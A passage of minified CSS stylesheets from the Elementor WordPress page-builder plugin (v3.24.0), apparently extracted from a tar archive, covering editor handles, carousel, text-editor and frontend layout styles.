.elementor-editor-element-setting:first-child:hover:before,.elementor-editor-section-settings .elementor-editor-element-setting:first-child:hover:before{border-inline-end-color:var(--e-p-border-section-hover)}.elementor-editor-container-settings .elementor-editor-element-setting:last-child,.elementor-editor-section-settings .elementor-editor-element-setting:last-child{border-start-start-radius:0;border-start-end-radius:5px;border-end-start-radius:0;border-end-end-radius:0}.elementor-editor-container-settings .elementor-editor-element-setting:last-child:after,.elementor-editor-section-settings .elementor-editor-element-setting:last-child:after{content:"";position:absolute;top:2px;right:calc(100% - 1px);border-block-start:22px solid transparent;border-block-end:0 none transparent;border-inline-start:12px solid var(--e-p-border-section);border-inline-end:0 none transparent;transition:var(--e-a-transition-hover)}.elementor-editor-container-settings .elementor-editor-element-setting:last-child:hover:after,.elementor-editor-section-settings .elementor-editor-element-setting:last-child:hover:after{border-inline-start-color:var(--e-p-border-section-hover)}.e-handles-inside>.elementor-element-overlay>.elementor-editor-element-settings,.elementor-section--handles-inside>.elementor-element-overlay>.elementor-editor-element-settings{transform:translateX(-50%);border-start-start-radius:0;border-start-end-radius:0;border-end-start-radius:5px;border-end-end-radius:5px}.e-handles-inside>.elementor-element-overlay>.elementor-editor-element-settings .elementor-editor-element-setting:first-child,.elementor-section--handles-inside>.elementor-element-overlay>.elementor-editor-element-settings .elementor-editor-element-setting:first-child{border-start-start-radius:0;border-start-end-radius:0;border-end-start-radius:5px;border-end-end-radius:0}.e-handles-inside>.elementor-element-overlay>.elementor-editor-element-settings .elementor-editor-element-setting:first-child:before,.elementor-section--handles-inside>.elementor-element-overlay>.elementor-editor-element-settings .elementor-editor-element-setting:first-child:before{top:0;border-block-start:0 none transparent;border-block-end:22px solid transparent;border-inline-start:0 none transparent;border-inline-end:12px solid var(--e-p-border-section);transition:var(--e-a-transition-hover)}.e-handles-inside>.elementor-element-overlay>.elementor-editor-element-settings .elementor-editor-element-setting:last-child,.elementor-section--handles-inside>.elementor-element-overlay>.elementor-editor-element-settings .elementor-editor-element-setting:last-child{border-start-start-radius:0;border-start-end-radius:0;border-end-start-radius:0;border-end-end-radius:5px}.e-handles-inside>.elementor-element-overlay>.elementor-editor-element-settings .elementor-editor-element-setting:last-child:after,.elementor-section--handles-inside>.elementor-element-overlay>.elementor-editor-element-settings .elementor-editor-element-setting:last-child:after{top:0;border-block-start:0 none transparent;border-block-end:22px solid transparent;border-inline-start:12px solid var(--e-p-border-section);border-inline-end:0 none transparent;transition:var(--e-a-transition-hover)}.elementor-column>.elementor-element-overlay{right:0;bottom:0}.elementor-column>.elementor-element-overlay:after{position:absolute;left:0;right:0;top:0;bottom:0;outline:1px dashed var(--e-p-border-column)}.elementor-column:hover>.elementor-element-overlay:after{content:""}.elementor-column.elementor-element-editable>.elementor-element-overlay:after{content:"";outline:2px solid var(--e-p-border-column)}.elementor-column.elementor-dragging-on-child>.elementor-element-overlay{border:1px solid var(--e-p-draggable-color)}.elementor-column.elementor-dragging-on-child>.elementor-element-overlay:after{display:none}.elementor-column>.ui-resizable-e,.elementor-column>.ui-resizable-w{cursor:col-resize;width:7px;position:absolute;left:-5px;top:0;height:100%}.elementor-column:last-of-type>.ui-resizable-e,.elementor-column:last-of-type>.ui-resizable-w{display:none!important}@media (max-width:1024px){.elementor-column>.ui-resizable-e,.elementor-column>.ui-resizable-w{display:none!important}}.elementor-editor-column-settings{top:-1px;right:-1px;border-start-start-radius:0;border-start-end-radius:0;border-end-start-radius:0;border-end-end-radius:3px;overflow:hidden}.elementor-editor-column-settings .elementor-editor-element-setting{background-color:var(--e-p-border-column)}.elementor-editor-column-settings .elementor-editor-element-setting:hover{background-color:var(--e-p-border-column-hover)}.elementor-column-placeholder{position:relative}.elementor-column-placeholder:after,.elementor-column-placeholder:before{content:"";position:absolute;top:10px;bottom:10px;right:10px;left:10px}.elementor-column-placeholder:before{border:1px solid var(--e-p-border-column)}.elementor-column-placeholder:after{border:1px dashed var(--e-a-color-white)}.elementor-column-percents-tooltip{position:absolute;display:none;pointer-events:none;top:50%;transform:translateY(-50%);color:#fff;font-size:10px;background-color:var(--e-p-border-column);width:40px;padding:3.5px 0;text-align:center;z-index:1;line-height:1}.elementor-column-percents-tooltip:after{content:"";position:absolute;width:0;height:0;border:8.5px solid transparent;top:0}.elementor-column-percents-tooltip[data-side=left]{border-radius:3px 0 0 3px;right:15px}.elementor-column-percents-tooltip[data-side=left]:after{left:100%;border-left-color:var(--e-p-border-column);border-right-width:0}.elementor-column-percents-tooltip[data-side=right]{border-radius:0 3px 3px 0;left:15px}.elementor-column-percents-tooltip[data-side=right]:after{right:100%;border-right-color:var(--e-p-border-column);border-left-width:0}.elementor-editor-widget-settings{z-index:2;top:-1px;left:-1px;flex-direction:row-reverse;border-start-start-radius:0;border-start-end-radius:0;border-end-start-radius:3px;border-end-end-radius:0;overflow:hidden}.elementor-editor-widget-settings .elementor-editor-element-setting{background-color:var(--e-p-border-widget)}.elementor-editor-widget-settings .elementor-editor-element-setting:hover{background-color:var(--e-p-border-widget-hover)}.e-widget-pro-promotion .elementor-widget-container{border:2px dashed var(--e-a-border-color-bold);background-color:var(--e-a-color-white);padding:20px}.e-widget-pro-promotion .e-container{max-width:600px;margin:auto}.e-widget-pro-promotion .e-badge{border:1px solid var(--e-a-color-accent);color:var(--e-a-color-accent);background:var(--e-a-color-white);border-radius:100px;padding:4px 12px;font-size:.8em}.e-widget-pro-promotion p{margin-block-start:1em;margin-block-end:1em;text-align:center}.e-widget-pro-promotion p img{display:block;margin:0 auto 20px}.e-widget-pro-promotion .e-actions{display:flex;justify-content:center;gap:10px}.e-widget-pro-promotion .e-btn{font-size:14px;font-weight:500;line-height:1.2;padding:8px 16px;border-radius:var(--e-a-border-radius);background-color:var(--e-a-btn-bg-accent);color:var(--e-a-btn-color-invert);transition:var(--e-a-transition-hover)}.e-widget-pro-promotion .e-btn:focus,.e-widget-pro-promotion .e-btn:hover{background-color:var(--e-a-btn-bg-accent-hover);color:var(--e-a-btn-color-invert)}.e-widget-pro-promotion .e-btn:active{background-color:var(--e-a-btn-bg-accent-active)}.e-widget-pro-promotion .e-btn.e-btn-txt{background:transparent;color:var(--e-a-color-txt)}.e-widget-pro-promotion .e-btn.e-btn-txt:focus,.e-widget-pro-promotion .e-btn.e-btn-txt:hover{background:var(--e-a-bg-hover);color:var(--e-a-color-txt-hover)}.e-con>.elementor-element-overlay,.elementor-section>.elementor-element-overlay{right:0;bottom:0}.e-con>.elementor-element-overlay:after,.elementor-section>.elementor-element-overlay:after{position:absolute;left:1px;right:1px;top:1px;bottom:1px;outline:1px solid var(--e-p-border-con);animation:section-outline .75s}.e-con:hover>.elementor-element-overlay:after,.elementor-section:hover>.elementor-element-overlay:after{content:""}.e-con.elementor-element-editable>.elementor-element-overlay:after,.elementor-section.elementor-element-editable>.elementor-element-overlay:after{content:"";outline-width:2px}.e-con .e-con-inner .e-con>.elementor-element-overlay:after{outline:1px dashed var(--e-p-border-con-in)}.e-con .e-con-inner .e-con.elementor-element-editable>.elementor-element-overlay:after{outline:2px solid var(--e-p-border-con-in)}.e-con .elementor-empty-view{position:relative;width:100%;height:100%;min-height:100px}.e-con .elementor-empty-view .elementor-first-add{width:auto;height:auto;inset:0}.e-con:not(.e-grid) .elementor-empty-view{min-height:var(--min-height,100px)}.e-con.e-grid .elementor-empty-view{min-width:100px}.e-con .elementor-widget-placeholder{--size:10px;--margin-start:calc(-1 * var(--size));--margin-end:calc(-2 * var(--size));flex-shrink:0;align-self:stretch;z-index:1;pointer-events:none}.e-con.e-con--row>.e-con-inner>.elementor-widget-placeholder,.e-con.e-con--row>.elementor-widget-placeholder{position:relative;z-index:9999;width:var(--size);margin-inline-start:var(--margin-start);height:auto;min-height:100%;animation-name:dnd-placeholder-widget-vertical;animation-fill-mode:both}.e-con.e-con--row[data-nesting-level]:not([data-nesting-level="0"])>.e-con-inner>.elementor-widget-placeholder,.e-con.e-con--row[data-nesting-level]:not([data-nesting-level="0"])>.elementor-widget-placeholder{margin-inline-end:0;margin-inline-start:calc(var(--margin-start) + var(--margin-end))}.e-con.e-con--row[data-nesting-level]:not([data-nesting-level="0"])>.e-con-inner>:not(.elementor-element)+.elementor-widget-placeholder,.e-con.e-con--row[data-nesting-level]:not([data-nesting-level="0"])>:not(.elementor-element)+.elementor-widget-placeholder{margin-inline-end:var(--margin-end);margin-inline-start:var(--margin-start)}.e-con.e-grid.e-con--row .elementor-widget-placeholder.e-dragging-left,.e-con.e-grid.e-con--row .elementor-widget-placeholder.e-dragging-right,.e-con.e-grid.e-con--row>.e-con-inner .elementor-widget-placeholder.e-dragging-left,.e-con.e-grid.e-con--row>.e-con-inner .elementor-widget-placeholder.e-dragging-right{position:absolute;width:var(--size);height:100%;top:0;animation:grow-in-width .15s forwards}.e-con.e-grid.e-con--row .elementor-widget-placeholder.e-dragging-right,.e-con.e-grid.e-con--row>.e-con-inner .elementor-widget-placeholder.e-dragging-right{right:0;left:auto}.e-con.e-grid.e-con--row .elementor-widget-placeholder.e-dragging-left,.e-con.e-grid.e-con--row>.e-con-inner .elementor-widget-placeholder.e-dragging-left{left:0;right:auto}.e-con.e-con--column>.e-con-inner>.elementor-widget-placeholder,.e-con.e-con--column>.elementor-widget-placeholder{height:var(--size);margin-block-start:var(--margin-start);margin-block-end:var(--margin-end);animation-name:dnd-placeholder-widget-horizontal}.e-con.e-con--column>.elementor-widget-placeholder:nth-last-child(2){margin-block-start:calc(2 * var(--margin-start));--margin-end:0}.e-con.e-con--column>.e-con-inner>.elementor-widget-placeholder:last-child{--margin-end:0}.e-con .elementor-sortable-helper{height:84px;width:125px;z-index:-1}.e-con-inner>.e-con>.elementor-element-overlay .elementor-editor-element-setting,.e-con>.e-con>.elementor-element-overlay .elementor-editor-element-setting,.elementor-widget .e-con>.elementor-element-overlay .elementor-editor-element-setting{position:relative;background-color:var(--e-p-border-con-in)}.e-con-inner>.e-con>.elementor-element-overlay .elementor-editor-element-setting:hover,.e-con>.e-con>.elementor-element-overlay .elementor-editor-element-setting:hover,.elementor-widget .e-con>.elementor-element-overlay .elementor-editor-element-setting:hover{background-color:var(--e-p-border-con-in-hover)}.e-con-inner>.e-con>.elementor-element-overlay .elementor-editor-element-setting.elementor-editor-element-add,.e-con-inner>.e-con>.elementor-element-overlay .elementor-editor-element-setting.elementor-editor-element-edit+.elementor-editor-element-remove,.e-con-inner>.e-con>.elementor-element-overlay .elementor-editor-element-setting:first-child:before,.e-con-inner>.e-con>.elementor-element-overlay .elementor-editor-element-setting:last-child:after,.e-con>.e-con>.elementor-element-overlay .elementor-editor-element-setting.elementor-editor-element-add,.e-con>.e-con>.elementor-element-overlay .elementor-editor-element-setting.elementor-editor-element-edit+.elementor-editor-element-remove,.e-con>.e-con>.elementor-element-overlay .elementor-editor-element-setting:first-child:before,.e-con>.e-con>.elementor-element-overlay .elementor-editor-element-setting:last-child:after,.elementor-widget .e-con>.elementor-element-overlay .elementor-editor-element-setting.elementor-editor-element-add,.elementor-widget .e-con>.elementor-element-overlay .elementor-editor-element-setting.elementor-editor-element-edit+.elementor-editor-element-remove,.elementor-widget .e-con>.elementor-element-overlay .elementor-editor-element-setting:first-child:before,.elementor-widget .e-con>.elementor-element-overlay .elementor-editor-element-setting:last-child:after{display:none}.e-con-inner>.e-con>.elementor-element-overlay .elementor-editor-element-setting:not(.elementor-editor-element-edit),.e-con>.e-con>.elementor-element-overlay .elementor-editor-element-setting:not(.elementor-editor-element-edit),.elementor-widget .e-con>.elementor-element-overlay .elementor-editor-element-setting:not(.elementor-editor-element-edit){margin-inline-start:-25px;z-index:-1;transition:all .3s;will-change:margin-inline-start}.e-con-inner>.e-con>.elementor-element-overlay>.elementor-editor-element-settings:hover>:is(.elementor-editor-element-duplicate,.elementor-editor-element-remove),.e-con>.e-con>.elementor-element-overlay>.elementor-editor-element-settings:hover>:is(.elementor-editor-element-duplicate,.elementor-editor-element-remove),.elementor-widget .e-con>.elementor-element-overlay>.elementor-editor-element-settings:hover>:is(.elementor-editor-element-duplicate,.elementor-editor-element-remove){margin-inline-start:0}.e-con-inner>.e-con>.elementor-element-overlay .elementor-editor-element-settings,.e-con>.e-con>.elementor-element-overlay .elementor-editor-element-settings,.elementor-widget .e-con>.elementor-element-overlay .elementor-editor-element-settings{inset:auto;transform:none;inset-inline-start:0;top:0;border-radius:0;border-end-end-radius:3px;height:auto}.e-con-inner>.e-con>.elementor-element-overlay .elementor-editor-element-settings i.eicon-handle:before,.e-con>.e-con>.elementor-element-overlay .elementor-editor-element-settings i.eicon-handle:before,.elementor-widget .e-con>.elementor-element-overlay .elementor-editor-element-settings i.eicon-handle:before{content:"\e9b4";font-size:20px;display:block;padding:2px}body.rtl .e-con.e-grid.e-con--row .elementor-widget-placeholder.e-dragging-right,body.rtl .e-con.e-grid.e-con--row>.e-con-inner .elementor-widget-placeholder.e-dragging-right{left:0;right:auto}body.rtl .e-con.e-grid.e-con--row .elementor-widget-placeholder.e-dragging-left,body.rtl .e-con.e-grid.e-con--row>.e-con-inner .elementor-widget-placeholder.e-dragging-left{right:0;left:auto}@keyframes dnd-placeholder-widget-vertical{0%{transform-origin:0 50%;transform:translateX(50%) scaleX(0);opacity:0}to{transform-origin:0 50%;transform:translateX(50%) scaleX(1);opacity:.9}}@keyframes dnd-placeholder-widget-horizontal{0%{transform-origin:50% 0;transform:scaleY(0);opacity:0}to{transform-origin:50% 0;transform:scaleY(1);opacity:.9}}@keyframes grow-in-width{0%{width:0}50%{width:calc(var(--size) / 2)}to{width:var(--size)}}.e-con-select-preset{display:flex;flex-direction:column;align-items:center;justify-content:center;gap:25px}.e-con-select-preset[data-view=choose-preset]>:not(.e-con-select-preset__inner),.e-con-select-preset[data-view=drop-area]>:not(.elementor-first-add){display:none}.e-con-select-preset__title{font-family:var(--e-a-font-family);font-size:15px;font-weight:400;color:var(--e-a-color-txt)}.e-con-select-preset__list{display:flex;gap:20px;align-items:center;justify-content:center;flex-wrap:wrap;max-width:650px}.e-con-select-preset__list .e-con-preset{cursor:pointer;flex-basis:90px}.e-con-select-preset__list .e-con-preset svg{width:100%;height:auto}.e-con-select-preset__list .e-con-preset svg:not(.exclude-rtl-scale){transform:scaleX(-1)}.e-con-select-preset__list .e-con-preset path{fill:var(--e-a-color-white)}.e-con-select-preset__list .e-con-preset rect{fill:var(--e-a-bg-active-bold);transition:all .3s}.e-con-select-preset__list .e-con-preset:hover rect{fill:var(--e-a-color-txt)}.e-con-select-preset__list .e-con-preset[data-preset=r100]{transform:scaleX(-1)}.e-con-shared-styles{font-family:var(--e-a-font-family);line-height:1;color:var(--e-a-color-txt);min-height:159px;overflow:hidden;display:flex;flex-direction:column;align-items:center;justify-content:center;gap:25px}.e-con-select-type__title{font-size:15px;font-weight:400}.e-con-select-type__icons{display:flex;justify-content:center;flex-wrap:wrap;gap:40px}.e-con-select-type__icons__icon{cursor:pointer}.e-con-select-type__icons__icon svg{margin-block-end:10px;width:85px}.e-con-select-type__icons__icon svg:hover rect{fill:var(--e-a-color-txt)}.e-con-select-type__icons__icon svg:hover path{stroke:var(--e-a-color-white)}.e-con-select-type__icons__icon__subtitle{font-size:14px;font-weight:500}.e-con-select-preset-grid__title{font-size:15px;font-weight:400}.e-con-select-preset-grid__list{display:flex;justify-content:center;flex-wrap:wrap;gap:20px}.e-con-select-preset-grid__list svg{cursor:pointer}.e-con-select-preset-grid__list svg:hover rect{fill:var(--e-a-color-txt)}.e-con-select-preset-grid__list svg:hover path{stroke:var(--e-a-color-white)}.e-con .ui-resizable-e{right:0}.e-con .ui-resizable-w{left:0}assets/css/widget-image-carousel.min.css000064400000001034147206604650014320 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-image-carousel .swiper,.elementor-widget-image-carousel .swiper-container{position:static}.elementor-widget-image-carousel .swiper-container .swiper-slide figure,.elementor-widget-image-carousel .swiper .swiper-slide figure{line-height:inherit}.elementor-widget-image-carousel .swiper-slide{text-align:center}.elementor-image-carousel-wrapper:not(.swiper-container-initialized):not(.swiper-initialized) .swiper-slide{max-width:calc(100% / var(--e-image-carousel-slides-to-show, 3))}assets/css/widget-text-editor-rtl.min.css000064400000001301147206604650014467 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-text-editor.elementor-drop-cap-view-stacked .elementor-drop-cap{background-color:#69727d;color:#fff}.elementor-widget-text-editor.elementor-drop-cap-view-framed .elementor-drop-cap{color:#69727d;border:3px solid;background-color:transparent}.elementor-widget-text-editor:not(.elementor-drop-cap-view-default) .elementor-drop-cap{margin-top:8px}.elementor-widget-text-editor:not(.elementor-drop-cap-view-default) .elementor-drop-cap-letter{width:1em;height:1em}.elementor-widget-text-editor .elementor-drop-cap{float:right;text-align:center;line-height:1;font-size:50px}.elementor-widget-text-editor .elementor-drop-cap-letter{display:inline-block}assets/css/frontend.min.css000064400000166441147206604650011777 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-hidden{display:none}.elementor-visibility-hidden{visibility:hidden}.elementor-screen-only,.screen-reader-text,.screen-reader-text span,.ui-helper-hidden-accessible{position:absolute;top:-10000em;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;clip:rect(0,0,0,0);border:0}.elementor-clearfix:after{content:"";display:block;clear:both;width:0;height:0}.e-logo-wrapper{background:var(--e-a-bg-logo);display:inline-block;padding:.75em;border-radius:50%;line-height:1}.e-logo-wrapper i{color:var(--e-a-color-logo);font-size:1em}.elementor *,.elementor :after,.elementor :before{box-sizing:border-box}.elementor a{box-shadow:none;text-decoration:none}.elementor hr{margin:0;background-color:transparent}.elementor img{height:auto;max-width:100%;border:none;border-radius:0;box-shadow:none}.elementor .elementor-widget:not(.elementor-widget-text-editor):not(.elementor-widget-theme-post-content) figure{margin:0}.elementor embed,.elementor iframe,.elementor object,.elementor video{max-width:100%;width:100%;margin:0;line-height:1;border:none}.elementor .elementor-background,.elementor .elementor-background-holder,.elementor .elementor-background-video-container{height:100%;width:100%;top:0;left:0;position:absolute;overflow:hidden;z-index:0;direction:ltr}.elementor .elementor-background-video-container{transition:opacity 1s;pointer-events:none}.elementor .elementor-background-video-container.elementor-loading{opacity:0}.elementor .elementor-background-video-embed{max-width:none}.elementor .elementor-background-video,.elementor .elementor-background-video-embed,.elementor .elementor-background-video-hosted{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)}.elementor .elementor-background-video{max-width:none}.elementor .elementor-html5-video{-o-object-fit:cover;object-fit:cover}.elementor .elementor-background-overlay,.elementor .elementor-background-slideshow{height:100%;width:100%;top:0;left:0;position:absolute}.elementor .elementor-background-slideshow{z-index:0}.elementor .elementor-background-slideshow__slide__image{width:100%;height:100%;background-position:50%;background-size:cover}.e-con-inner>.elementor-element.elementor-absolute,.e-con>.elementor-element.elementor-absolute,.elementor-widget-wrap>.elementor-element.elementor-absolute{position:absolute}.e-con-inner>.elementor-element.elementor-fixed,.e-con>.elementor-element.elementor-fixed,.elementor-widget-wrap>.elementor-element.elementor-fixed{position:fixed}.elementor-widget-wrap .elementor-element.elementor-widget__width-auto,.elementor-widget-wrap .elementor-element.elementor-widget__width-initial{max-width:100%}@media (max-width:1024px){.elementor-widget-wrap .elementor-element.elementor-widget-tablet__width-auto,.elementor-widget-wrap .elementor-element.elementor-widget-tablet__width-initial{max-width:100%}}@media (max-width:767px){.elementor-widget-wrap .elementor-element.elementor-widget-mobile__width-auto,.elementor-widget-wrap .elementor-element.elementor-widget-mobile__width-initial{max-width:100%}}.elementor-element{--flex-direction:initial;--flex-wrap:initial;--justify-content:initial;--align-items:initial;--align-content:initial;--gap:initial;--flex-basis:initial;--flex-grow:initial;--flex-shrink:initial;--order:initial;--align-self:initial;flex-basis:var(--flex-basis);flex-grow:var(--flex-grow);flex-shrink:var(--flex-shrink);order:var(--order);align-self:var(--align-self)}.elementor-element.elementor-absolute,.elementor-element.elementor-fixed{z-index:1}.elementor-element:where(.e-con-full,.elementor-widget){flex-direction:var(--flex-direction);flex-wrap:var(--flex-wrap);justify-content:var(--justify-content);align-items:var(--align-items);align-content:var(--align-content);gap:var(--gap)}.elementor-invisible{visibility:hidden}.elementor-align-center{text-align:center}.elementor-align-center .elementor-button{width:auto}.elementor-align-right{text-align:right}.elementor-align-right .elementor-button{width:auto}.elementor-align-left{text-align:left}.elementor-align-left .elementor-button{width:auto}.elementor-align-justify .elementor-button{width:100%}.elementor-custom-embed-play{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)}.elementor-custom-embed-play i{font-size:100px;color:#fff;text-shadow:1px 0 6px rgba(0,0,0,.3)}.elementor-custom-embed-play svg{height:100px;width:100px;fill:#fff;filter:drop-shadow(1px 0 6px rgba(0,0,0,.3))}.elementor-custom-embed-play i,.elementor-custom-embed-play svg{opacity:.8;transition:all .5s}.elementor-custom-embed-play.elementor-playing i{font-family:eicons}.elementor-custom-embed-play.elementor-playing i:before{content:"\e8fb"}.elementor-custom-embed-play.elementor-playing i,.elementor-custom-embed-play.elementor-playing svg{animation:eicon-spin 2s linear infinite}.elementor-tag{display:inline-flex}.elementor-ken-burns{transition-property:transform;transition-duration:10s;transition-timing-function:linear}.elementor-ken-burns--out{transform:scale(1.3)}.elementor-ken-burns--active{transition-duration:20s}.elementor-ken-burns--active.elementor-ken-burns--out{transform:scale(1)}.elementor-ken-burns--active.elementor-ken-burns--in{transform:scale(1.3)}@media (min-width:-1){.elementor-widescreen-align-center{text-align:center}.elementor-widescreen-align-center .elementor-button{width:auto}.elementor-widescreen-align-right{text-align:right}.elementor-widescreen-align-right .elementor-button{width:auto}.elementor-widescreen-align-left{text-align:left}.elementor-widescreen-align-left .elementor-button{width:auto}.elementor-widescreen-align-justify .elementor-button{width:100%}}@media (max-width:-1){.elementor-laptop-align-center{text-align:center}.elementor-laptop-align-center .elementor-button{width:auto}.elementor-laptop-align-right{text-align:right}.elementor-laptop-align-right .elementor-button{width:auto}.elementor-laptop-align-left{text-align:left}.elementor-laptop-align-left .elementor-button{width:auto}.elementor-laptop-align-justify .elementor-button{width:100%}}@media (max-width:-1){.elementor-tablet_extra-align-center{text-align:center}.elementor-tablet_extra-align-center .elementor-button{width:auto}.elementor-tablet_extra-align-right{text-align:right}.elementor-tablet_extra-align-right .elementor-button{width:auto}.elementor-tablet_extra-align-left{text-align:left}.elementor-tablet_extra-align-left .elementor-button{width:auto}.elementor-tablet_extra-align-justify .elementor-button{width:100%}}@media (max-width:1024px){.elementor-tablet-align-center{text-align:center}.elementor-tablet-align-center .elementor-button{width:auto}.elementor-tablet-align-right{text-align:right}.elementor-tablet-align-right .elementor-button{width:auto}.elementor-tablet-align-left{text-align:left}.elementor-tablet-align-left .elementor-button{width:auto}.elementor-tablet-align-justify .elementor-button{width:100%}}@media (max-width:-1){.elementor-mobile_extra-align-center{text-align:center}.elementor-mobile_extra-align-center .elementor-button{width:auto}.elementor-mobile_extra-align-right{text-align:right}.elementor-mobile_extra-align-right .elementor-button{width:auto}.elementor-mobile_extra-align-left{text-align:left}.elementor-mobile_extra-align-left .elementor-button{width:auto}.elementor-mobile_extra-align-justify .elementor-button{width:100%}}@media (max-width:767px){.elementor-mobile-align-center{text-align:center}.elementor-mobile-align-center .elementor-button{width:auto}.elementor-mobile-align-right{text-align:right}.elementor-mobile-align-right .elementor-button{width:auto}.elementor-mobile-align-left{text-align:left}.elementor-mobile-align-left .elementor-button{width:auto}.elementor-mobile-align-justify .elementor-button{width:100%}}:root{--page-title-display:block}.elementor-page-title,h1.entry-title{display:var(--page-title-display)}@keyframes eicon-spin{0%{transform:rotate(0deg)}to{transform:rotate(359deg)}}.eicon-animation-spin{animation:eicon-spin 2s linear infinite}.elementor-section{position:relative}.elementor-section .elementor-container{display:flex;margin-right:auto;margin-left:auto;position:relative}@media (max-width:1024px){.elementor-section .elementor-container{flex-wrap:wrap}}.elementor-section.elementor-section-boxed>.elementor-container{max-width:1140px}.elementor-section.elementor-section-stretched{position:relative;width:100%}.elementor-section.elementor-section-items-top>.elementor-container{align-items:flex-start}.elementor-section.elementor-section-items-middle>.elementor-container{align-items:center}.elementor-section.elementor-section-items-bottom>.elementor-container{align-items:flex-end}@media (min-width:768px){.elementor-section.elementor-section-height-full{height:100vh}.elementor-section.elementor-section-height-full>.elementor-container{height:100%}}.elementor-bc-flex-widget .elementor-section-content-top>.elementor-container>.elementor-column>.elementor-widget-wrap{align-items:flex-start}.elementor-bc-flex-widget .elementor-section-content-middle>.elementor-container>.elementor-column>.elementor-widget-wrap{align-items:center}.elementor-bc-flex-widget .elementor-section-content-bottom>.elementor-container>.elementor-column>.elementor-widget-wrap{align-items:flex-end}.elementor-row{width:100%;display:flex}@media (max-width:1024px){.elementor-row{flex-wrap:wrap}}.elementor-widget-wrap{position:relative;width:100%;flex-wrap:wrap;align-content:flex-start}.elementor:not(.elementor-bc-flex-widget) .elementor-widget-wrap{display:flex}.elementor-widget-wrap>.elementor-element{width:100%}.elementor-widget-wrap.e-swiper-container{width:calc(100% - (var(--e-column-margin-left, 0px) + var(--e-column-margin-right, 0px)))}.elementor-widget{position:relative}.elementor-widget:not(:last-child){margin-bottom:20px}.elementor-widget:not(:last-child).elementor-absolute,.elementor-widget:not(:last-child).elementor-widget__width-auto,.elementor-widget:not(:last-child).elementor-widget__width-initial{margin-bottom:0}.elementor-column{position:relative;min-height:1px;display:flex}.elementor-column-wrap{width:100%;position:relative;display:flex}.elementor-column-gap-narrow>.elementor-column>.elementor-element-populated{padding:5px}.elementor-column-gap-default>.elementor-column>.elementor-element-populated{padding:10px}.elementor-column-gap-extended>.elementor-column>.elementor-element-populated{padding:15px}.elementor-column-gap-wide>.elementor-column>.elementor-element-populated{padding:20px}.elementor-column-gap-wider>.elementor-column>.elementor-element-populated{padding:30px}.elementor-inner-section .elementor-column-gap-no .elementor-element-populated{padding:0}@media (min-width:768px){.elementor-column.elementor-col-10,.elementor-column[data-col="10"]{width:10%}.elementor-column.elementor-col-11,.elementor-column[data-col="11"]{width:11.111%}.elementor-column.elementor-col-12,.elementor-column[data-col="12"]{width:12.5%}.elementor-column.elementor-col-14,.elementor-column[data-col="14"]{width:14.285%}.elementor-column.elementor-col-16,.elementor-column[data-col="16"]{width:16.666%}.elementor-column.elementor-col-20,.elementor-column[data-col="20"]{width:20%}.elementor-column.elementor-col-25,.elementor-column[data-col="25"]{width:25%}.elementor-column.elementor-col-30,.elementor-column[data-col="30"]{width:30%}.elementor-column.elementor-col-33,.elementor-column[data-col="33"]{width:33.333%}.elementor-column.elementor-col-40,.elementor-column[data-col="40"]{width:40%}.elementor-column.elementor-col-50,.elementor-column[data-col="50"]{width:50%}.elementor-column.elementor-col-60,.elementor-column[data-col="60"]{width:60%}.elementor-column.elementor-col-66,.elementor-column[data-col="66"]{width:66.666%}.elementor-column.elementor-col-70,.elementor-column[data-col="70"]{width:70%}.elementor-column.elementor-col-75,.elementor-column[data-col="75"]{width:75%}.elementor-column.elementor-col-80,.elementor-column[data-col="80"]{width:80%}.elementor-column.elementor-col-83,.elementor-column[data-col="83"]{width:83.333%}.elementor-column.elementor-col-90,.elementor-column[data-col="90"]{width:90%}.elementor-column.elementor-col-100,.elementor-column[data-col="100"]{width:100%}}@media (max-width:479px){.elementor-column.elementor-xs-10{width:10%}.elementor-column.elementor-xs-11{width:11.111%}.elementor-column.elementor-xs-12{width:12.5%}.elementor-column.elementor-xs-14{width:14.285%}.elementor-column.elementor-xs-16{width:16.666%}.elementor-column.elementor-xs-20{width:20%}.elementor-column.elementor-xs-25{width:25%}.elementor-column.elementor-xs-30{width:30%}.elementor-column.elementor-xs-33{width:33.333%}.elementor-column.elementor-xs-40{width:40%}.elementor-column.elementor-xs-50{width:50%}.elementor-column.elementor-xs-60{width:60%}.elementor-column.elementor-xs-66{width:66.666%}.elementor-column.elementor-xs-70{width:70%}.elementor-column.elementor-xs-75{width:75%}.elementor-column.elementor-xs-80{width:80%}.elementor-column.elementor-xs-83{width:83.333%}.elementor-column.elementor-xs-90{width:90%}.elementor-column.elementor-xs-100{width:100%}}@media (max-width:767px){.elementor-column.elementor-sm-10{width:10%}.elementor-column.elementor-sm-11{width:11.111%}.elementor-column.elementor-sm-12{width:12.5%}.elementor-column.elementor-sm-14{width:14.285%}.elementor-column.elementor-sm-16{width:16.666%}.elementor-column.elementor-sm-20{width:20%}.elementor-column.elementor-sm-25{width:25%}.elementor-column.elementor-sm-30{width:30%}.elementor-column.elementor-sm-33{width:33.333%}.elementor-column.elementor-sm-40{width:40%}.elementor-column.elementor-sm-50{width:50%}.elementor-column.elementor-sm-60{width:60%}.elementor-column.elementor-sm-66{width:66.666%}.elementor-column.elementor-sm-70{width:70%}.elementor-column.elementor-sm-75{width:75%}.elementor-column.elementor-sm-80{width:80%}.elementor-column.elementor-sm-83{width:83.333%}.elementor-column.elementor-sm-90{width:90%}.elementor-column.elementor-sm-100{width:100%}}@media (min-width:768px) and (max-width:1024px){.elementor-column.elementor-md-10{width:10%}.elementor-column.elementor-md-11{width:11.111%}.elementor-column.elementor-md-12{width:12.5%}.elementor-column.elementor-md-14{width:14.285%}.elementor-column.elementor-md-16{width:16.666%}.elementor-column.elementor-md-20{width:20%}.elementor-column.elementor-md-25{width:25%}.elementor-column.elementor-md-30{width:30%}.elementor-column.elementor-md-33{width:33.333%}.elementor-column.elementor-md-40{width:40%}.elementor-column.elementor-md-50{width:50%}.elementor-column.elementor-md-60{width:60%}.elementor-column.elementor-md-66{width:66.666%}.elementor-column.elementor-md-70{width:70%}.elementor-column.elementor-md-75{width:75%}.elementor-column.elementor-md-80{width:80%}.elementor-column.elementor-md-83{width:83.333%}.elementor-column.elementor-md-90{width:90%}.elementor-column.elementor-md-100{width:100%}}@media 